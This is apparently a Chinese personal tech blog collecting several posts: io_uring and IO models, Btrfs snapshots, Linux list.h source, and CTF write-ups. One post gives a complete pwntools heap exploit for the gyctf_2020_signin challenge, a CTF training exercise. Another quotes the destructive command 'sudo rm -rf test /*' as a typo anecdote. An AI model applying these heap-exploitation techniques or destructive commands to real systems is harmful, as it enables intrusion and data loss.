下面的困难就是如何完成这个内置函数了。关于实现这个函数,根据 文档,只需要完成:

  • 注册函数的类型
  • 实现函数
    这两个步骤既可。

写完这些之后,也还需要对函数的实现部分撰写单元测试。

上述内容实际上也就设计 4 个文件的更改。


在刚开始的时候,虽然有十分详细的文档,但 Y7n05h 也不能很好的理解整个函数实现方法,加之对这个项目是第一次接触,不能正确的理解项目的复杂结构(虽说 Y7n05h 只要看懂部分的结构就够了,但那是 Y7n05h 连部分结构也都没看明白)。
但这也并非无解。项目的源码里面,log()ln()abs() 这些函数的实现方式与 exp() 其实是十分类似的,已有的实现其实是文档未尽之处的最好补充。因此,Y7n05h 通过参考这些函数的实现最终完成了这个 issues。

参考资料

1. matrixone.[G/OL].https://github.com/matrixorigin/matrixone/blob/main/README.md.

真正的异步--io_uring 闲谈

历史的接口

IO 一直是件麻烦事.对冯诺依曼模型的计算机来说,IO 可以说是计算的开始和结束.因此 IO 十分麻烦,但异常重要.
高效的 IO 方式,是构建高效的应用程序必不可少的,更是计算机科学家与工程师们一直探讨的话题.

在本文中,笔者将简要的回顾 Linux Kernel 已有的 IO 接口.

注:本文不涉及 io_uring 的用法.如需了解 io_uring 的用法请直接查看本文参考资料.

同步接口

常见的 readwritesyscall 都是同步 IO 的接口.
readwrite 类系统调用也衍生出了带有偏移量的接口 preadpwrite 向量读写的接口 readvwritev 和具有两者特性的 preadvpwritev,后来又出现为 preadvpwritev 加上 flag 字段的 preadv2pwritev2 接口.

说了这些,但究竟什么是同步?

同步接口最鲜明的特征就是应用程序:要么在执行应用程序中的用户代码;要么在因完成 IO.
听起来可能有人觉得模糊,请看下面这张图.同步 就是「IO 的完成」是在「请求执行 IO 的时候」(Y7n05h 嘴笨实在不知道该怎么组织语言解释了

在图中:

  • 紫色代表应用程序在执行用户代码
  • 红色代表应用程序在完成 IO

我们可以看到,紫色块和红色块在时间上没有任何的重叠区域.完成 IO 不会和用户代码同时进行.


Y7n05h 猜测一定有读者想说,为什么都说了这么多了,没有提及 阻塞非阻塞 哪怕一句.

这里请允许 Y7n05h 先说异步 IO.因为很多人把 非阻塞异步 混为一谈.Y7n05h 认为先说明异步 IO 有助于理解这二者的概念.

异步接口

同步的反面是异步.

异步就是应用程序只需要提交一次 IO 的请求,由别的组件(通常是内核)来完成完成这次 IO,并在 IO 完成时告诉应用程序 IO 已经完成.

注:有经验的读者一定发现 Y7n05h 在此处刻意模糊了内核在 IO 中的作用,也未提及系统调用导致的陷入内核态等行为.这是为了使本文对异步的描述也适用于 ASIO 等用户态对异步 IO 的实现.

如下图:应用程序无需间断对代码的执行,只需要提交一次请求,即可静待别人(通常是内核)完成 IO.

对于异步 IO :这就好比一个聪明的老板(类比应用程序)请了一个高明的助理,收发文书(类比 IO 行为)之类的事情,只需要老板吩咐一声,助理就好办妥当.助理办妥当后,告诉老板这件事办好了即可.老板只需要接着做自己的事(类比执行代码).

对于同步 IO :这就好比一个没有助理的老板(类比应用程序),收发文书(类比 IO 行为)之类的事情也得自己干.忙着收发文书就不能做自己的事情(类比执行代码)了.

阻塞与非阻塞

谈阻塞和非阻塞就一定谈谈内核了.
在 Linux 系统中,无论采用阻塞 IO 还是非阻塞 IO,若 IO 已经准备好了,那么会立刻返回.
阻塞和非阻塞的区别仅限于 IO 尚未准备就绪的情况下(例如写管道缓冲区已满、读 socket 但尚无数据到达).这类场景,在在使用非阻塞 IO 的系统调用时,系统调用会立刻返回,并通过返回值和 errno 告诉调用者出现了错误.但若是使用阻塞 IO 的系统调用,则会继续等待制止 IO 完成.

Q:那么阻塞与否和同步、异步又有什么关系?
A:平日说的阻塞与非阻塞大多数情景是指同步阻塞和同步非阻塞.对于异步 IO 是否阻塞的问题,通常不做探讨.

为什么?那就要接着回顾 IO 接口的发展了.

众所周知,无论是网络 IO 还是硬盘 IO,其速度远低于 CPU 的运行速度.因此,等待 IO 浪费了应用程序原本可以执行很多事务的时间.追求高性能的应用程序自然不肯什么都不做静静的等待 IO 的发生.
在 Y7n05h 看来 同步非阻塞 的 IO 调用就是为了解决应用程序长时间等待 IO 浪费时间的问题.使用阻塞 IO 之后,应用程序自然可以过每过一小段时间尝试一次 IO 是否已经就绪,别的时间继续用来做别的事,这也就是是所谓的 轮询
倘若一个 IO 密集型应用(例如一个服务器)那么可能需要同时处理大量的 IO 请求,当然遍历并轮询所有的 IO 是否就绪是一个做法.内核也提供了相关的设施用来完成遍历并轮询的操作(selectpoll) ,但这在同步 IO 中也不是一个最好的做法.内核还提供了 epoll 这种机制,当内核通过中断机制得知有 IO 时间发生时通知应用程序.这样便避免了遍历之苦也提高了 IO 的效率.这也就是 IO 的多路复用了.

非阻塞 IO 的语义是:试一试,若能完成 IO 就完成;完不成就算了.

说了这么多,我想读者一定发现了:非阻塞 IO 无非是想提高 CPU 的利用率.

谈回异步,既然异步 IO 已经不可能卡住应用程序的代码了.那么阻塞与否就已经没了意义.
不但非阻塞在异步 IO 中没有意义,反而会制造麻烦.何处此言?因为非阻塞 IO 遇到 IO 未就绪时会直接返回.

回到之前老板请助理的例子.老板一定不会希望他请助理去送一份文件,仅仅是因为助理没找到收件人就回来向他报告失败,而是希望他去等收件人回来再把文件交给他.这才是一个聪明的助理.异步 IO 完美的符合了这一切的标准.

io_uring 一统天下

在 io_uring 出现之前,追求高性能 IO 的应用程序有这几种常见做法:

  • 针对文件 IO 可采用 AIO 异步接口.
  • epoll + 同步非阻塞.
  • 使用类似 boost Asio 的方式,使用 IO 线程模拟异步接口.

但这几种方式都有自己的问题:

  • AIO 仅支持文件 Direct IO.
  • epoll + 同步非阻塞在大量连接的高并发场景中比 io_uring 有更高的开销和更高的延迟.
  • boost Asio 与 io_uring 同为异步接口,但 io_uring 的在内核态的实现比在用户态基于多线程模拟异步 IO 更高效.
    可以说,AIO 被 io_uring 最主要是因为 AIO 的应用面太窄.而「epoll 同步非阻塞」和「boost Asio」被 io_uring 打败是因为 io_uring 的性能更好.

但 io_uring 并非没有缺点.

可移植性差.
这是 io_uring 的一个硬伤.io_uring 是 Linux 5.1 中加入的新接口.且 io_uring 还有部分特性在 5.6 才最终加入.因此想体验 io_uring 的一个相对完整的特性可能需要 Linux Kernel 5.6+.(虽然 Linux Kernel 5.6 中的 io_uring 已经相对完整了,但 Linux Kernel 5.10-5.15 中也为 io_uring 添加了更多的新特性)

接口复杂.
注意到了吗?io_uring 代替的是 「epoll + 同步非阻塞」而不仅仅是 epoll.为了支持各种 IO 调用,io_uring 通过庞大 struct io_uring_sqe 描述各种各样的 IO 请求.但 io_uring 接口的复杂性不仅仅体现在这里.io_uring_setupio_uring_enterio_uring_register 看似仅仅只有 3 个系统调用,但它们却都分别支持了十多个 flag 来改变系统调用的行为.

那么 io_uring 的性能为什么会好呢?

  • 内核和用户态通过 mmap 共享 io_uring 相关的部分数据结构.
  • 内核可以并行执行应用程序提交的 IO 请求.
  • 节省系统调用次数.将 IO 请求放入提交队列(SQ)即可,无需通过中断陷入内核执行系统调用.

MoreInfo

本文到这里就结束了.读者可能会觉得有点突兀,但 Y7n05h 写本文的意愿本就不是去介绍 io_uring 的用法.本文仅仅是为了科普这几种不同的 IO 的方式的区别,区分 「阻塞」 与 「非阻塞」 这一对概念和 「同步」与「异步」这一堆概念.对于需要详细了解 io_uring 的读者,请看下面的 参考资料

参考资料

1. Efficient IO with io_uring.[G/OL].https://kernel.dk/io_uring.pdf.
2. What is io_uring?. [G/OL]. Lord of the io_uring, https://unixism.net/loti/what_is_io_uring.html.
3. IO_URING(7). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring.7.
4. IO_URING_SETUP(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_setup.2.
5. IO_URING_ENTER(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_enter.2.
6. IO_URING_REGISTER(2). [G/OL]. Linux Programmer’s Manual, https://man.archlinux.org/man/io_uring_register.2.

使用 Btrfs 文件系统快照

和其他的 ArchLinux 的用户一样,Y7n05h 也很热衷于尝试一些有趣且实用的技术.

Btrfs 早就因 Cow、透明压缩和子卷管理让 Y7n05h 感到心动.在此早在本文写作的 1 年之前,Y7n05h 就尝试过了 Btrfs 这一 Linux Kernel 的源码树内 fs.
当时 Y7n05h 只是浅层次的使用 btrfs(btrfs 具有而 xfs 没有的功能 Y7n05h 没用到),到了现在 Y7n05h 也尝试过了 btrfs 的很多特性,并且 Y7n05h 开始认为这些特性对 Y7n05h 很重要.
下面,就请允许 Y7n05h 聊聊对此的认识吧.

子卷管理

既然都说道了子卷的管理,那就先说一下子卷是什么:

A Btrfs subvolume is an independently mountable POSIX filetree and not a block device (and cannot be treated as one). Most other POSIX filesystems have a single mountable root, Btrfs has an independent mountable root for the volume (top level subvolume) and for each subvolume; a Btrfs volume can contain more than a single filetree, it can contain a forest of filetrees. A Btrfs subvolume can be thought of as a POSIX file namespace.[1]

为了简化理解困难,在初始 btrfs 的时候,不妨将子卷理解为多个不同的分区.

子卷的常见布局可以参考:这里

快照

粗略的说完 子卷,那么我们可以谈谈快照了.

  • Q:为什么要使用快照?
  • A:快照是为了恢复回滚,这是所有人都知道的事情.但说我为什么需要他的话,就是给自己错误操作后留下更多的补救的余地,避免重装系统.还能为应用程序错误导致系统故障或崩溃提供方便的恢复方式.我想快照的用途是不言自明的.

tip
TIP

或许有人会说,你注意点,别进行错误操作,只要谨慎的使用命令,就用不到快照.

当然,Y7n05h 也不希望有用快照恢复的情景出现.毕竟出现恢复的情景就已经意味着故障的发生了.但错误的出现有时是难以简单的通过谨慎的方式来避免的.在使用 Linux 命令时,谨慎的操作是必要的,但真的当 bad 的情况出现时,快照则是迅速将崩溃的系统拉出泥潭的有力工具.

举个例子:
Y7n05h 曾为了清除某文件夹下面的所有文件,本想使用命令 sudo rm -rf test/* 没主要到多输入了一个空格,成为了 sudo rm -rf test /*,导致错误的执行了删除 /* 的命令.最后只好用重装系统来解决问题.

btrfs 现如今只支持对 btrfs 子卷进行快照,而快照也会以 btrfs 的一个特殊的子卷的方式存在.
至于创建快照与删除快照的方式,可查看 ArchLinuxWiki-Btrfs#Snapshots 或者 Btrfs Wiki 中的相关内容.在本文中不给出具体的命令也是希望看到本文想去尝试 btrfs 的读者认真的阅读 wiki 与相关文档并审慎的做出决定,而不仅仅是受到了 Y7n05h 的鼓动.

自动快照

得益于 Btrfs 上相对廉价的快照开销,频繁的使用快照也并不总是不可接受的.

snapper

Y7n05h 使用来自 openSUSE snapper) 完成自动化的 btrfs 快照.
snapper 会在每小时为 btrfs 子卷进行一次快照,并自动的删除旧的快照.

在默认配置下,snapper 将保留 10 个每小时快照,10 个每日快照,10 个每月快照和 10 个每年快照。[2]

btrfs-autosnapshot

当然,来自 lilydjwgbtrfs-autosnapshot 同样是不错的工具.
btrfs-autosnapshot 作为一个 python 脚本,提供了一种更自定义的方式来控制快照的创建和清理.

参考资料

1. BtrfsWiki编者. SysadminGuide[G/OL]. BtrfsWiki, https://btrfs.wiki.kernel.org/index.php/SysadminGuide#Subvolumes.
2. ArchWiki编者. Installation guide (简体中文)[G/OL]. ArchWiki, https://wiki.archlinux.org/index.php/Installation_guide_(简体中文).
3. farseerfc. Btrfs vs ZFS 实现 snapshot 的差异[G/OL]. Farseerfc的小窝, https://farseerfc.me/zhs/btrfs-vs-zfs-difference-in-implementing-snapshots.html.

LinuxKernel-list.h 源码不完全分析

有一段时间没认真写博客了,没能一直坚持着,实在让 Y7n05h 感到惭愧,所以今天写出本文也算是补救一下吧.

info
License
本文引用了部分来自 Linux Kernel 的源码,源码取自 LinuxKernel v2.6.34 基于 GPLv2

list.h 源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* Simple doubly linked list implementation.
*
* Some of the internal functions ("__xxx") are useful when
* manipulating whole lists rather than single entries, as
* sometimes we already know the next/prev entries and we can
* generate better code by using them directly rather than
* using the generic single-entry routines.
*/

struct list_head {
struct list_head *next, *prev;
};

#define LIST_HEAD_INIT(name) { &(name), &(name) }

#define LIST_HEAD(name) \
struct list_head name = LIST_HEAD_INIT(name)

static inline void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list;
list->prev = list;
}

这里是链表的核心结构,实现双向循环链表的初始化.

1
2
3
4
5
6
7
8
9
static inline void __list_add(struct list_head *new,
struct list_head *prev,
struct list_head *next)
{
next->prev = new;
new->next = next;
new->prev = prev;
prev->next = new;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* list_add - add a new entry
* @new: new entry to be added
* @head: list head to add it after
*
* Insert a new entry after the specified head.
* This is good for implementing stacks.
*/
static inline void list_add(struct list_head *new, struct list_head *head)
{
__list_add(new, head, head->next);
}


/**
* list_add_tail - add a new entry
* @new: new entry to be added
* @head: list head to add it before
*
* Insert a new entry before the specified head.
* This is useful for implementing queues.
*/
static inline void list_add_tail(struct list_head *new, struct list_head *head)
{
__list_add(new, head->prev, head);
}

关于插入也没什么需要过度解释的,唯一想说说的是 inline 的使用消除了函数调用的开销,当然代价是内核大小的增大,但我想这点代价是值得的.
当然,这里对 __list_add() 的复用和对两种不同的插入方式的抽象是十分精彩的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
* Delete a list entry by making the prev/next entries
* point to each other.
*
* This is only for internal list manipulation where we know
* the prev/next entries already!
*/
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
prev->next = next;
}

/**
* list_del - deletes entry from list.
* @entry: the element to delete from the list.
* Note: list_empty() on entry does not return true after this, the entry is
* in an undefined state.
*/
#ifndef CONFIG_DEBUG_LIST
static inline void list_del(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
#else
extern void list_del(struct list_head *entry);
#endif

关于这里,也没什么能产生太大疑惑的地方,唯一要好奇的可能是为什么要把被删除的链表节点的指针置为 LIST_POISON1LIST_POISON2
在用户态编程的时候,开发者们常把无效的指针置为 NULL 防止出现 Use After Free(UAF) 等问题的出现,一旦访问置为 NULL 的指针就能通过 Segment fault 得知发生了错误.但别忘了,Segment fault的检查是由内核完成的,在内核态编程时,自然是无法使用的.因此这里使用这两个特殊的地址触发分页保护告知开发者出现内存错误.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
* Architectures might want to move the poison pointer offset
* into some well-recognized area such as 0xdead000000000000,
* that is also not mappable by user-space exploits:
*/
#ifdef CONFIG_ILLEGAL_POINTER_VALUE
# define POISON_POINTER_DELTA _AC(CONFIG_ILLEGAL_POINTER_VALUE, UL)
#else
# define POISON_POINTER_DELTA 0
#endif

/*
* These are non-NULL pointers that will result in page faults
* under normal circumstances, used to verify that nobody uses
* non-initialized list entries.
*/
#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA)
#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA)

剩下的部分虽然也有很多内容,但都比较简单,相对来说也是易于理解的,Y7n05h 在这里就不赘述了.

这个宏函数还是很有趣的,能看到里面有很多 GNU 对 C 语言的扩展语法.直接从定义中看明白这个宏的用法是略有困难的,参考这个宏的用例将有助于理解.

1
2
3
4
5
6
7
8
/**
* list_entry - get the struct for this entry
* @ptr: the &struct list_head pointer.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_struct within the struct.
*/
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
1
2
3
4
5
6
7
8
9
10
/**
* container_of - cast a member of a structure out to the containing structure
* @ptr: the pointer to the member.
* @type: the type of the container struct this is embedded in.
* @member: the name of the member within the struct.
*
*/
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})

用例:

1
2
3
4
5
static inline struct nfs_page *
nfs_list_entry(struct list_head *head)
{
return list_entry(head, struct nfs_page, wb_list);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
struct nfs_page {
struct list_head wb_list; /* Defines state of page: */
struct page *wb_page; /* page to read in/write out */
struct nfs_open_context *wb_context; /* File state context info */
atomic_t wb_complete; /* i/os we're waiting for */
pgoff_t wb_index; /* Offset >> PAGE_CACHE_SHIFT */
unsigned int wb_offset, /* Offset & ~PAGE_CACHE_MASK */
wb_pgbase, /* Start of page data */
wb_bytes; /* Length of request */
struct kref wb_kref; /* reference count */
unsigned long wb_flags;
struct nfs_writeverf wb_verf; /* Commit cookie */
};

可以清晰的看到在 struct nfs_page 中,链表结点是 struct list_head wb_list

head 是指向 container_of 到底做了什么呢?那就是根据结构体中的成员的地址,计算出结构体的地址.首先,抛开代码考虑这件事情,在给定结构体在确定体系结构上使用确定对齐方式,那么结构体成员相对结构体的偏移量就是一个编译期能确定的常量.那么若有了结构体成员的地址,那么减去相应的偏移量即可得到结构体的地址.这一切在理论上都是可行的,剩下的事只是如何用代码实现.

其次,分析 container_of 的代码实现:

1
const typeof( ((type *)0)->member ) *__mptr = (ptr);

这里使用 typeof 进行类型推断,实现范型编程,声明获得与 member 相同的类型,并添加 * 获得 member 的指针类型.通过这一行,获得了指向结构体成员的指针.同时利用 (type *)( (char *)__mptr - offsetof(type,member) ) 根据 offsetof 关键字获得 membertype 中的偏移量,并使用指针运行将其从结构体成员的地址中减去.
最后则是使用 GNU 扩展的语句表达式语法,避免了需要将宏函数用 do{...}while(0) 包裹的麻烦事.
这些内容足够简单,但宏的运用与衔接十分精妙.

最后在谈谈

1
2
3
4
5
6
7
8
/**
* list_for_each - iterate over a list
* @pos: the &struct list_head to use as a loop cursor.
* @head: the head for your list.
*/
#define list_for_each(pos, head) \
for (pos = (head)->next; prefetch(pos->next), pos != (head); \
pos = pos->next)
1
2
3
#ifndef ARCH_HAS_PREFETCH
#define prefetch(x) __builtin_prefetch(x)
#endif

这里的遍历没什么好提及的,唯一想说说的地方只是 prefetchprefetch 也就是 __builtin_prefetch 看名字不难发现这是 GCC 的内置函数.查一下就能得知这是用来预读数据减少延迟的函数.大概就是防止后面用这个数据的时候出现缓存不命中吧.

好了,本文到此也就结束了.list.h 的别的部分 Y7n05h 认为也没有什么难以理解的内容了.

参考资料

1. LinuxKernel.

gyctf_2020_signin

info
License
本文引用了部分来自 GNU C Library 的源码,源码取自 GNU C Library 基于 LGPLv2.1

注:本题目的运行环境使用的 glibc 为 2.27-3ubuntu1_amd64,但本文中展示的所有 glibc 代码为 2.34

WriteUp-gyctf_2020_signin

看到本文的各位师傅,请允许 Y7n05h 又翻出这段各位都熟悉无比的代码.能够发现从非空的 tcache 中取出 chunk 是在 __libc_malloc() 中完成的,而非在 _int_malloc_() 中.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
"PTRDIFF_MAX is not more than half of SIZE_MAX");

if (!__malloc_initialized)
ptmalloc_init ();
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
DIAG_POP_NEEDS_COMMENT;
#endif

if (SINGLE_THREAD_P)
{
victim = tag_new_usable (_int_malloc (&main_arena, bytes));
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}

arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

victim = tag_new_usable (victim);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}

再看 __libc_calloc()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
void *
__libc_calloc (size_t n, size_t elem_size)
{
mstate av;
mchunkptr oldtop;
INTERNAL_SIZE_T sz, oldtopsize;
void *mem;
unsigned long clearsize;
unsigned long nclears;
INTERNAL_SIZE_T *d;
ptrdiff_t bytes;

if (__glibc_unlikely (__builtin_mul_overflow (n, elem_size, &bytes)))
{
__set_errno (ENOMEM);
return NULL;
}

sz = bytes;

if (!__malloc_initialized)
ptmalloc_init ();

MAYBE_INIT_TCACHE ();

if (SINGLE_THREAD_P)
av = &main_arena;
else
arena_get (av, sz);

if (av)
{
/* Check if we hand out the top chunk, in which case there may be no
need to clear. */
#if MORECORE_CLEARS
oldtop = top (av);
oldtopsize = chunksize (top (av));
# if MORECORE_CLEARS < 2
/* Only newly allocated memory is guaranteed to be cleared. */
if (av == &main_arena &&
oldtopsize < mp_.sbrk_base + av->max_system_mem - (char *) oldtop)
oldtopsize = (mp_.sbrk_base + av->max_system_mem - (char *) oldtop);
# endif
if (av != &main_arena)
{
heap_info *heap = heap_for_ptr (oldtop);
if (oldtopsize < (char *) heap + heap->mprotect_size - (char *) oldtop)
oldtopsize = (char *) heap + heap->mprotect_size - (char *) oldtop;
}
#endif
}
else
{
/* No usable arenas. */
oldtop = 0;
oldtopsize = 0;
}
mem = _int_malloc (av, sz);

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

if (!SINGLE_THREAD_P)
{
if (mem == 0 && av != NULL)
{
LIBC_PROBE (memory_calloc_retry, 1, sz);
av = arena_get_retry (av, sz);
mem = _int_malloc (av, sz);
}

if (av != NULL)
__libc_lock_unlock (av->mutex);
}

/* Allocation failed even after a retry. */
if (mem == 0)
return 0;

mchunkptr p = mem2chunk (mem);

/* If we are using memory tagging, then we need to set the tags
regardless of MORECORE_CLEARS, so we zero the whole block while
doing so. */
if (__glibc_unlikely (mtag_enabled))
return tag_new_zero_region (mem, memsize (p));

INTERNAL_SIZE_T csz = chunksize (p);

/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);

return mem;
}

#if MORECORE_CLEARS
if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize))
{
/* clear only the bytes from non-freshly-sbrked memory */
csz = oldtopsize;
}
#endif

/* Unroll clear of <= 36 bytes (72 if 8byte sizes). We know that
contents have an odd number of INTERNAL_SIZE_T-sized words;
minimally 3. */
d = (INTERNAL_SIZE_T *) mem;
clearsize = csz - SIZE_SZ;
nclears = clearsize / sizeof (INTERNAL_SIZE_T);
assert (nclears >= 3);

if (nclears > 9)
return memset (d, 0, clearsize);

else
{
*(d + 0) = 0;
*(d + 1) = 0;
*(d + 2) = 0;
if (nclears > 4)
{
*(d + 3) = 0;
*(d + 4) = 0;
if (nclears > 6)
{
*(d + 5) = 0;
*(d + 6) = 0;
if (nclears > 8)
{
*(d + 7) = 0;
*(d + 8) = 0;
}
}
}
}

return mem;
}

相信各位都能发现 __libc_calloc()__libc_malloc() 的差别是很小的,通常情况下将 __libc_calloc() 视为 __libc_malloc() + memset() 是合理的.但除此之外还有一点区别是 __libc_calloc() 中缺少从非空的 tcache 取出 chunk 的部分,因此 calloc() 将优先从 fastbin 中分配 chunk

这也是本题目的利用的核心思路.

错误思路-tcache poisoning

Y7n05h 刚开始也是想采用 tcache poisoning 来完成本题,并寄希望与 free/malloc 的过程中能清除 cnt 实现第二次 edit.但很遗憾,此路并不通.通过此方式虽能将 chunk 分配在 ptr 上,但无法修改 ptr 的值.(至少 Y7n05h 没想到)

正确思路

此方式是从 Pwnki 师傅 的博客学来的.在这里感谢 Pwnki 师傅 师傅.

利用思路:

  1. 分配 8 个大小为 0x80 的 chunk 后全部 free,前 7 个塞满了 tcache,后一个进入 fastbin
  2. 在分配一个 chunk,这将从 tcache 中取出一个 chunk
  3. 修改在 1 中放入的 fastbin 中的 chunk 的 fd 的指针为 ptr - 0x10,注意这个行为使 glibc 认为 ptr - 0x10 是一个 chunk,则 ptr 则是这个 chunkfd
  4. 通过执行 backdoor,调用 callocfastbin 取出 chunk 并将其 fd 指向的 ptr - 0x10 作为一个 chunk 插入 tcache 链表.插入过程中 ptr 将作为 tcache_entrynext 字段被修改.

这些过程的相关代码:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
12
#define REMOVE_FB(fb, victim, pp)			\
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
     /* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
path = '/home/admin/Downloads/gyctf_2020_signin'
elf = ELF(path)
r = process(path)


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def backdoor():
r.sendafter(b"?", b'6')


def add(idx: int):
r.sendafter(b"?", b'1')
r.sendafter(b"idx?\n", i2b(idx))


def delete(idx: int):
r.sendafter(b"?", b'3')
r.sendafter(b"idx?\n", i2b(idx))


def edit(idx: int, content: bytes):
r.sendafter(b"?", b'2')
r.sendafter(b"idx?\n", i2b(idx))
r.send(content)


addr = elf.symbols['ptr']-0x10
for i in range(8):
add(i)
for i in range(8):
delete(i)

add(8)
payload = p64(addr)
edit(7, payload)

backdoor()
r.interactive()

参考资料

1. Pwnki-gyctf_2020_signin.
2. PYozo_free-gyctf_2020_signin.

WriteUp-长安杯2021-决赛 AWD-nowaypwn

Y7n05h 非常激动能有机会(虽然是以替补的身份)参加长安杯 2021 决赛.这是 Y7n05h 第一次参加 CTF 线下赛,因为缺少经验,Y7n05h 犯了不少错误.在本文中,Y7n05h 将复盘比赛时的行为.
同时也感谢「摸一把」战队的大师傅,指出了 Y7n05h 的指点.
在 AWD 赛制中,Y7n05h 对没有做出这道 nowaypwn 十分的遗憾.

现在就让 Y7n05h 重新审视一下这道题目,看看它究竟考察了什么吧.

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
pwn/nowaypwn
filetype: ELF64
arch: AMD64
mode: 64 bits
endianess: LE
type: EXEC
library: GLIBC(2.4)[EXEC AMD64-64]
compiler: gcc((Ubuntu 5.3.1-14ubuntu2) 5.3.1 20160413)[EXEC AMD64-64]
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 /home/admin/pwn/nowaypwn
linux-vdso.so.1 (0x00007ffc85dee000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fd505212000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fd5053fd000)

题目提供的 libc 附件的版本是 2.23-0ubuntu11.3_amd64SHA-1 为:eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8(大概是这个,文件弄乱了,Y7n05h 对此不是非常确定).

逆向工程分析

